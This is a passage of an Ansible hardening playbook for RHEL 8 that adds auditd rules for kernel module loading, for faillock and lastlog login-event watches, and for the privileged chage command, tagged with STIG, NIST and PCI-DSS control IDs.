    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure auditd Collects Information on Kernel Module Loading - init_module
      - Perform remediation of Audit rules for ['init_module'] for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - init_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of init_module in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/modules.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/modules.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - init_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of init_module in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030360
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_init
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure auditd Collects Information on Kernel Module Loading - init_module
      - Perform remediation of Audit rules for ['init_module'] for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - init_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of init_module in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/modules.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/modules.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - init_module
        syscall_grouping:
        - create_module
        - delete_module
        - finit_module
        - init_module
        - query_module

    - name: Check existence of init_module in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=modules
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030360
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - audit_rules_kernel_module_loading_init
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Record Attempts to Alter Logon and Logout Events - faillock - Check if watch
      rule for {{ var_accounts_passwords_pam_faillock_dir }} already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+{{ var_accounts_passwords_pam_faillock_dir }}\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030590
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_faillock
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - faillock - Search /etc/audit/rules.d
      for other rules with specified key logins
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)logins$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030590
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_faillock
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - faillock - Use /etc/audit/rules.d/logins.rules
      as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/logins.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030590
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_faillock
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - faillock - Use matched
      file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030590
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_faillock
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - faillock - Add watch
      rule for {{ var_accounts_passwords_pam_faillock_dir }} in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w {{ var_accounts_passwords_pam_faillock_dir }} -p wa -k logins
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030590
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_faillock
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - faillock - Check if watch
      rule for {{ var_accounts_passwords_pam_faillock_dir }} already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+{{ var_accounts_passwords_pam_faillock_dir }}\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030590
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_faillock
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - faillock - Add watch
      rule for {{ var_accounts_passwords_pam_faillock_dir }} in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w {{ var_accounts_passwords_pam_faillock_dir }} -p wa -k logins
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030590
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_faillock
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - lastlog - Check if watch
      rule for /var/log/lastlog already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/var/log/lastlog\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030600
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_lastlog
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - lastlog - Search /etc/audit/rules.d
      for other rules with specified key logins
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)logins$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030600
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_lastlog
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - lastlog - Use /etc/audit/rules.d/logins.rules
      as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/logins.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030600
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_lastlog
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - lastlog - Use matched
      file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030600
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_lastlog
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - lastlog - Add watch rule
      for /var/log/lastlog in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /var/log/lastlog -p wa -k logins
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030600
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_lastlog
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - lastlog - Check if watch
      rule for /var/log/lastlog already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/var/log/lastlog\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030600
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_lastlog
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Attempts to Alter Logon and Logout Events - lastlog - Add watch rule
      for /var/log/lastlog in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /var/log/lastlog -p wa -k logins
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030600
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.3
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.3
    - audit_rules_login_events_lastlog
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - chage
      - Perform remediation of Audit rules for /usr/bin/chage
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/chage -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/chage -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/chage -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/chage -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/chage -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/chage -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030250
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_chage
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - chsh
      - Perform remediation of Audit rules for /usr/bin/chsh
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
